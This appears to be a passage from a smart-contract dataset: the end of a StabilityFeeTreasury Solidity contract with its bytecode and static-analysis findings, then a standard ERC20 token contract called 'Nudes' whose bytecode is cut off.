divide(multiply(expensesMultiplier, latestExpenses), HUNDRED) : treasuryCapacity;
// Make sure to keep at least minimum funds
remainingFunds = (divide(multiply(expensesMultiplier, latestExpenses), HUNDRED) <= minimumFundsRequired) ?
minimumFundsRequired : remainingFunds;
// Set internal vars
accumulatorTag = expensesAccumulator;
latestSurplusTransferTime = now;
// Join all coins in system
joinAllCoins();
// Settle outstanding bad debt
settleDebt();
// Check that there's no bad debt left
require(safeEngine.debtBalance(address(this)) == 0, "StabilityFeeTreasury/outstanding-bad-debt");
// Check if we have too much money
if (safeEngine.coinBalance(address(this)) > remainingFunds) {
// Make sure that we still keep min SF in treasury
uint256 fundsToTransfer = subtract(safeEngine.coinBalance(address(this)), remainingFunds);
// Transfer surplus to accounting engine
safeEngine.transferInternalCoins(address(this), extraSurplusReceiver, fundsToTransfer);
// Emit event
emit TransferSurplusFunds(extraSurplusReceiver, fundsToTransfer);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806379b5f040116100f9578063aafb96b611610097578063c4cc925311610071578063c4cc9253146103f5578063ca9ece3514610421578063eb5a662e14610429578063fe4f589014610468576101c4565b8063aafb96b6146103b9578063b6e785b1146103c1578063b7340540146103c9576101c4565b806394f3f81d116100d357806394f3f81d1461037b5780639e6ab9a3146103a15780639ff8edff146103a9578063a7e94455146103b1576101c4565b806379b5f040146103635780638454ff5a1461036b578063894ba83314610373576101c4565b806341b3a0d911610166578063505239bf11610140578063505239bf146102fb5780636614f0101461030357806367aea3131461032f5780636e7dd91714610337576101c4565b806341b3a0d9146102bf57806343e9c6b0146102c75780634e6afb9e146102f3576101c4565b806330413a2a116101a257806330413a2a1461024157806335b281531461026557806337b7eca11461028b5780633d285a6f14610293576101c4565b8063021de13f146101c9578063201add9b146101e357806324ba58841461021b575b600080fd5b6101d161048b565b60408051918252519081900360200190f35b610219600480360360608110156101f957600080fd5b506001600160a01b03813581169160208101359091169060400135610491565b005b6101d16004803603602081101561023157600080fd5b50356001600160a01b0316610aea565b610249610afc565b604080516001600160a01b039092168252519081900360200190f35b6102196004803603602081101561027b57600080fd5b50356001600160a01b0316610b0b565b6101d1610bab565b610219600480360360408110156102a957600080fd5b506001600160a01b038135169060200135610bb1565b6101d1610ce5565b610219600480360360408110156102dd57600080fd5b506001600160a01b038135169060200135610ceb565b610249610e1c565b610219610e2b565b6102196004803603604081101561031957600080fd5b50803590602001356001600160a01b0316611178565b610249611367565b6102196004803603604081101561034d57600080fd5b506001600160a01b038135169060200135611376565b6101d16116ad565b6101d16116b3565b6102196116b9565b6102196004803603602081101561039157600080fd5b50356001600160a01b0316611873565b6101d1611912565b6101d1611918565b61024961191e565b61021961192d565b6101d1611a96565b6101d1600480360360408110156103df57600080fd5b506001600160a01b038135169060200135611a9c565b6102196004803603604081101561040b57600080fd5b506001600160a01b038135169060200135611ab9565b6101d1611c07565b61044f6004803603602081101561043f57600080fd5b50356001600160a01b0316611c0d565b6040805192835260208301919091528051918290030190f35b6102196004803603604081101561047e57600080fd5b5080359060200135611c30565b60095481565b6001600160a01b0383163014156104a757610ae5565b3360009081526001602052604090205481111561050b576040805162461bcd60e51b815260206004820181905260248201527f53746162696c69747946656554726561737572792f6e6f742d616c6c6f776564604482015290519081900360640190fd5b6001600160a01b038316610566576040805162461bcd60e51b815260206004820152601d60248201527f53746162696c69747946656554726561737572792f6e756c6c2d647374000000604482015290519081900360640190fd5b6006546001600160a01b03848116911614156105b35760405162461bcd60e51b815260040180806020018281038252602d81526020018061246c602d913960400191505060405180910390fd5b600081116105f25760405162461bcd60e51b81526004018080602001828103825260298152602001806121ca6029913960400191505060405180910390fd5b6004546001600160a01b0383811691161461063e5760405162461bcd60e51b81526004018080602001828103825260268152602001806121796026913960400191505060405180910390fd5b3360009081526001602081905260409091200154156106d857336000908152600160208181526040808420909201546002825282842043855290915291205461069b9061069684676765c793fa10079d601b1b611e5a565b611eb6565b11156106d85760405162461bcd60e51b815260040180806020018281038252602d815260200180612279602d913960400191505060405180910390fd5b33600090815260026020908152604080832043845290915290205461070c9061069683676765c793fa10079d601b1b611e5a565b33600090815260026020908152604080832043845290915290205561072f611ef8565b61073761192d565b600354604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b15801561078257600080fd5b505afa158015610796573d6000803e3d6000fd5b505050506040513d60208110156107ac57600080fd5b5051156107ea5760405162461bcd60e51b81526004018080602001828103825260298152602001806121f36029913960400191505060405180910390fd5b6107ff81676765c793fa10079d601b1b611e5a565b60035460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b15801561084a57600080fd5b505afa15801561085e573d6000803e3d6000fd5b505050506040513d602081101561087457600080fd5b505110156108b35760405162461bcd60e51b81526004018080602001828103825260258152602001806124996025913960400191505060405180910390fd5b600d5460035460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b15801561090157600080fd5b505afa158015610915573d6000803e3d6000fd5b505050506040513d602081101561092b57600080fd5b5051101561096a5760405162461bcd60e51b81526004018080602001828103825260328152602001806123876032913960400191505060405180910390fd5b336000908152600160205260409020546109989061099383676765c793fa10079d601b1b611e5a565b612066565b33600090815260016020526040902055600b546109c49061069683676765c793fa10079d601b1b611e5a565b600b556003546001600160a01b031663efabcadc30856109ef85676765c793fa10079d601b1b611e5a565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b50505050826001600160a01b0316336001600160a01b03167f7f1bd32912cc1caeaa0a1221e71cf675c272dadfc4bbb9f9e7b15e3aba962c8384610aba85676765c793fa10079d601b1b611e5a565b600b54604080516001600160a01b039094168452602084019290925282820152519081900360600190a35b505050565b60006020819052908152604090205481565b6005546001600160a01b031681565b33600090815260208190526040902054600114610b595760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b600a5481565b33600090815260208190526040902054600114610bff5760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b816001600160a01b038116301415610c485760405162461bcd60e51b815260040180806020018281038252602f81526020018061243d602f913960400191505060405180910390fd5b6001600160a01b038316610c8d5760405162461bcd60e51b815260040180806020018281038252602181526020018061233b6021913960400191505060405180910390fd5b6001600160a01b038316600081815260016020818152604092839020909101859055815185815291517f872b1baa7b7b264504136eb033469a05552185dc7454b7dc405f006fe41752989281900390910190a2505050565b600f5481565b33600090815260208190526040902054600114610d395760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b816001600160a01b038116301415610d825760405162461bcd60e51b815260040180806020018281038252602f81526020018061243d602f913960400191505060405180910390fd5b6001600160a01b038316610dc75760405162461bcd60e51b815260040180806020018281038252602181526020018061233b6021913960400191505060405180910390fd5b6001600160a01b038316600081815260016020908152604091829020859055815185815291517f2c5e94d86b8348fb36d52453e5460c21e506c0fa8a48a721d021490e22ece3eb9281900390910190a2505050565b6006546001600160a01b031681565b610e39600e54600a54611eb6565b421015610e775760405162461bcd60e51b81526004018080602001828103825260318152602001806123b96031913960400191505060405180910390fd5b6000610e87600b54600c54612066565b90506000610ea1610e9a60095484611e5a565b60646120a8565b6007541115610eb257600754610ec1565b610ec1610e9a60095484611e5a565b9050600854610ed5610e9a60095485611e5a565b1115610ee15780610ee5565b6008545b600b54600c5542600e559050610ef9611ef8565b610f0161192d565b600354604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b158015610f4c57600080fd5b505afa158015610f60573d6000803e3d6000fd5b505050506040513d6020811015610f7657600080fd5b505115610fb45760405162461bcd60e51b81526004018080602001828103825260298152602001806121f36029913960400191505060405180910390fd5b60035460408051633eaf7a0360e21b8152306004820152905183926001600160a01b03169163fabde80c916024808301926020929190829003018186803b158015610ffe57600080fd5b505afa158015611012573d6000803e3d6000fd5b505050506040513d602081101561102857600080fd5b505111156111745760035460408051633eaf7a0360e21b815230600482015290516000926110b4926001600160a01b039091169163fabde80c91602480820192602092909190829003018186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d60208110156110ac57600080fd5b505183612066565b60035460065460408051633beaf2b760e21b81523060048201526001600160a01b03928316602482015260448101859052905193945091169163efabcadc9160648082019260009290919082900301818387803b15801561111457600080fd5b505af1158015611128573d6000803e3d6000fd5b5050600654604080516001600160a01b0390921682526020820185905280517f405ec0d46a8a982eb3d6a307ca6e12b0a8c5b178bd7b41dd6aec3232fccc83c1945091829003019150a1505b5050565b336000908152602081905260409020546001146111c65760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b600f546001146112075760405162461bcd60e51b81526004018080602001828103825260298152602001806122df6029913960400191505060405180910390fd5b6001600160a01b038116611262576040805162461bcd60e51b815260206004820152601e60248201527f53746162696c69747946656554726561737572792f6e756c6c2d616464720000604482015290519081900360640190fd5b817332bc3a3930a9bab938363ab9a932b1b2b4bb32b960611b14156112e9576001600160a01b0381163014156112c95760405162461bcd60e51b81526004018080602001828103825260398152602001806122a66039913960400191505060405180910390fd5b600680546001600160a01b0319166001600160a01b038316179055611320565b60405162461bcd60e51b815260040180806020018281038252602e8152602001806123ea602e913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6003546001600160a01b031681565b336000908152602081905260409020546001146113c45760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b816001600160a01b03811630141561140d5760405162461bcd60e51b815260040180806020018281038252602f81526020018061243d602f913960400191505060405180910390fd5b6001600160a01b0383166114525760405162461bcd60e51b815260040180806020018281038252602181526020018061233b6021913960400191505060405180910390fd5b61145a611ef8565b61146261192d565b600354604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b1580156114ad57600080fd5b505afa1580156114c1573d6000803e3d6000fd5b505050506040513d60208110156114d757600080fd5b5051156115155760405162461bcd60e51b81526004018080602001828103825260298152602001806121f36029913960400191505060405180910390fd5b60035460408051633eaf7a0360e21b8152306004820152905184926001600160a01b03169163fabde80c916024808301926020929190829003018186803b15801561155f57600080fd5b505afa158015611573573d6000803e3d6000fd5b505050506040513d602081101561158957600080fd5b505110156115c85760405162461bcd60e51b81526004018080602001828103825260258152602001806124996025913960400191505060405180910390fd5b6006546001600160a01b038481169116146115ed576115e9600b5483611eb6565b600b555b60035460408051633beaf2b760e21b81523060048201526001600160a01b038681166024830152604482018690529151919092169163efabcadc91606480830192600092919082900301818387803b15801561164857600080fd5b505af115801561165c573d6000803e3d6000fd5b5050600b5460408051868152602081019290925280516001600160a01b03881694507ff3b9d7846b41e3cdfe96580c8ccad08ec3180b2156af0d3bd27cb67a8eb849529350918290030190a2505050565b600e5481565b600c5481565b336000908152602081905260409020546001146117075760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b600f546001146117485760405162461bcd60e51b81526004018080602001828103825260258152602001806124186025913960400191505060405180910390fd5b6000600f55611755611ef8565b60035460065460408051633eaf7a0360e21b8152306004820181905291516001600160a01b039485169463efabcadc941691859163fabde80c91602480820192602092909190829003018186803b1580156117af57600080fd5b505afa1580156117c3573d6000803e3d6000fd5b505050506040513d60208110156117d957600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015292909316602483015260448201529051606480830192600092919082900301818387803b15801561183057600080fd5b505af1158015611844573d6000803e3d6000fd5b50506040517f2d4b4ecff7bd7503135271925520a2f6c0d98c9473ffc1a1e72c92502f51b25e925060009150a1565b336000908152602081905260409020546001146118c15760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b60085481565b600b5481565b6004546001600160a01b031681565b60035460408051633eaf7a0360e21b815230600482015290516000926001600160a01b03169163fabde80c916024808301926020929190829003018186803b15801561197857600080fd5b505afa15801561198c573d6000803e3d6000fd5b505050506040513d60208110156119a257600080fd5b5051600354604080516311005b0760e01b815230600482015290519293506000926001600160a01b03909216916311005b0791602480820192602092909190829003018186803b1580156119f557600080fd5b505afa158015611a09573d6000803e3d6000fd5b505050506040513d6020811015611a1f57600080fd5b505190508015611174576003546001600160a01b03166327a0bb33611a44848461215f565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a7a57600080fd5b505af1158015611a8e573d6000803e3d6000fd5b505050505050565b60075481565b600260209081526000928352604080842090915290825290205481565b33600090815260208190526040902054600114611b075760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b816001600160a01b038116301415611b505760405162461bcd60e51b815260040180806020018281038252602f81526020018061243d602f913960400191505060405180910390fd5b60035460408051633beaf2b760e21b81526001600160a01b038681166004830152306024830152604482018690529151919092169163efabcadc91606480830192600092919082900301818387803b158015611bab57600080fd5b505af1158015611bbf573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693507fbbf79e146587871d724f2a0ff9c8beff1c42b3d5ef6ea6a7ba1990b104be51e492509081900360200190a2505050565b600d5481565b6001600160a01b0316600090815260016020819052604090912080549101549091565b33600090815260208190526040902054600114611c7e5760405162461bcd60e51b815260040180806020018281038252602b81526020018061219f602b913960400191505060405180910390fd5b600f54600114611cd5576040805162461bcd60e51b815260206004820152601d60248201527f53746162696c69747946656554726561737572792f6e6f742d6c697665000000604482015290519081900360640190fd5b817132bc3832b739b2b9a6bab63a34b83634b2b960711b1415611cfc576009819055611e1b565b816f7472656173757279436170616369747960801b1415611d6257600854811015611d585760405162461bcd60e51b815260040180806020018281038252603281526020018061221c6032913960400191505060405180910390fd5b6007819055611e1b565b81731b5a5b9a5b5d5b519d5b991cd4995c5d5a5c995960621b1415611dcc57600754811115611dc25760405162461bcd60e51b81526004018080602001828103825260338152602001806123086033913960400191505060405180910390fd5b6008819055611e1b565b81741c1d5b1b119d5b991cd35a5b951a1c995cda1bdb19605a1b1415611df657600d819055611e1b565b8173737572706c75735472616e7366657244656c617960601b14156112e957600a8190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b6000811580611e7557505080820282828281611e7257fe5b04145b611eb05760405162461bcd60e51b815260040180806020018281038252602b81526020018061235c602b913960400191505060405180910390fd5b92915050565b81810182811015611eb05760405162461bcd60e51b815260040180806020018281038252602b81526020018061224e602b913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015611f4757600080fd5b505afa158015611f5b573d6000803e3d6000fd5b505050506040513d6020811015611f7157600080fd5b505111156120645760055460048054604080516370a0823160e01b81523093810184905290516001600160a01b0394851694633b4da69f949316916370a08231916024808301926020929190829003018186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d6020811015611ffb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915251604480830192600092919082900301818387803b15801561204b57600080fd5b505af115801561205f573d6000803e3d6000fd5b505050505b565b80820382811115611eb05760405162461bcd60e51b815260040180806020018281038252602c8152602001806124be602c913960400191505060405180910390fd5b60008082116120fe576040805162461bcd60e51b815260206004820152601f60248201527f53746162696c69747946656554726561737572792f6469762d792d6e756c6c00604482015290519081900360640190fd5b81838161210757fe5b04905082811115611eb0576040805162461bcd60e51b815260206004820181905260248201527f53746162696c69747946656554726561737572792f6469762d696e76616c6964604482015290519081900360640190fd5b60008183111561216f5781612171565b825b939250505056fe53746162696c69747946656554726561737572792f746f6b656e2d756e617661696c61626c6553746162696c69747946656554726561737572792f6163636f756e742d6e6f742d617574686f72697a656453746162696c69747946656554726561737572792f6e756c6c2d7472616e736665722d616d6f756e7453746162696c69747946656554726561737572792f6f75747374616e64696e672d6261642d6465627453746162696c69747946656554726561737572792f63617061636974792d6c6f7765722d7468616e2d6d696e2d66756e647353746162696c69747946656554726561737572792f6164642d75696e742d75696e742d6f766572666c6f7753746162696c69747946656554726561737572792f7065722d626c6f636b2d6c696d69742d657863656564656453746162696c69747946656554726561737572792f6163636f756e74696e672d656e67696e652d63616e6e6f742d62652d747265617375727953746162696c69747946656554726561737572792f636f6e74726163742d6e6f742d656e61626c656453746162696c69747946656554726561737572792f6d696e2d66756e64732d6869676865722d7468616e2d636170616369747953746162696c69747946656554726561737572792f6e756c6c2d6163636f756e7453746162696c69747946656554726561737572792f6d756c2d75696e742d75696e742d6f766572666c6f7753746162696c69747946656554726561737572792f62656c6f772d70756c6c46756e64732d6d696e2d7468726573686f6c6453746162696c69747946656554726561737572792f7472616e736665722d636f6f6c646f776e2d6e6f742d70617373656453746162696c69747946656554726561737572792f6d6f646966792d756e7265636f676e697a65642d706172616d53746162696c69747946656554726561737572792f616c72656164792d64697361626c656453746162696c69747946656554726561737572792f6163636f756e742d63616e6e6f742d62652d747265617375727953746162696c69747946656554726561737572792f6473742d63616e6e6f742d62652d6163636f756e74696e6753746162696c69747946656554726561737572792f6e6f742d656e6f7567682d66756e647353746162696c69747946656554726561737572792f7375622d75696e742d75696e742d756e646572666c6f77a264697066735822122053f6019fc43b79125aa851e93dc53462dae5d0ce53e58ca3b4a525a0f65f242464736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,203 |
0xC295814423f8526EE0B56Fc542d1894393E3950e
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Nudes is ERC20 {
address public admin;
constructor() ERC20('NUDE$', 'NUDE$') {
admin = msg.sender;
_mint(msg.sender, 8008135 * 10 ** 18);
}
function burn(uint amount) external {
_burn(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c578063a457c2d711610066578063a457c2d714610228578063a9059cbb14610258578063dd62ed3e14610288578063f851a440146102b8576100cf565b806342966c68146101be57806370a08231146101da57806395d89b411461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d6565b6040516100e99190611138565b60405180910390f35b61010c60048036038101906101079190610eed565b610368565b604051610119919061111d565b60405180910390f35b61012a610386565b604051610137919061127a565b60405180910390f35b61015a60048036038101906101559190610e9e565b610390565b604051610167919061111d565b60405180910390f35b610178610488565b6040516101859190611295565b60405180910390f35b6101a860048036038101906101a39190610eed565b610491565b6040516101b5919061111d565b60405180910390f35b6101d860048036038101906101d39190610f29565b61053d565b005b6101f460048036038101906101ef9190610e39565b61054a565b604051610201919061127a565b60405180910390f35b610212610592565b60405161021f9190611138565b60405180910390f35b610242600480360381019061023d9190610eed565b610624565b60405161024f919061111d565b60405180910390f35b610272600480360381019061026d9190610eed565b61070f565b60405161027f919061111d565b60405180910390f35b6102a2600480360381019061029d9190610e62565b61072d565b6040516102af919061127a565b60405180910390f35b6102c06107b4565b6040516102cd9190611102565b60405180910390f35b6060600380546102e5906113de565b80601f0160208091040260200160405190810160405280929190818152602001828054610311906113de565b801561035e5780601f106103335761010080835404028352916020019161035e565b820191906000526020600020905b81548152906001019060200180831161034157829003601f168201915b5050505050905090565b600061037c6103756107da565b84846107e2565b6001905092915050565b6000600254905090565b600061039d8484846109ad565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e86107da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045f906111da565b60405180910390fd5b61047c856104746107da565b8584036107e2565b60019150509392505050565b60006012905090565b600061053361049e6107da565b8484600160006104ac6107da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052e91906112cc565b6107e2565b6001905092915050565b6105473382610c2e565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff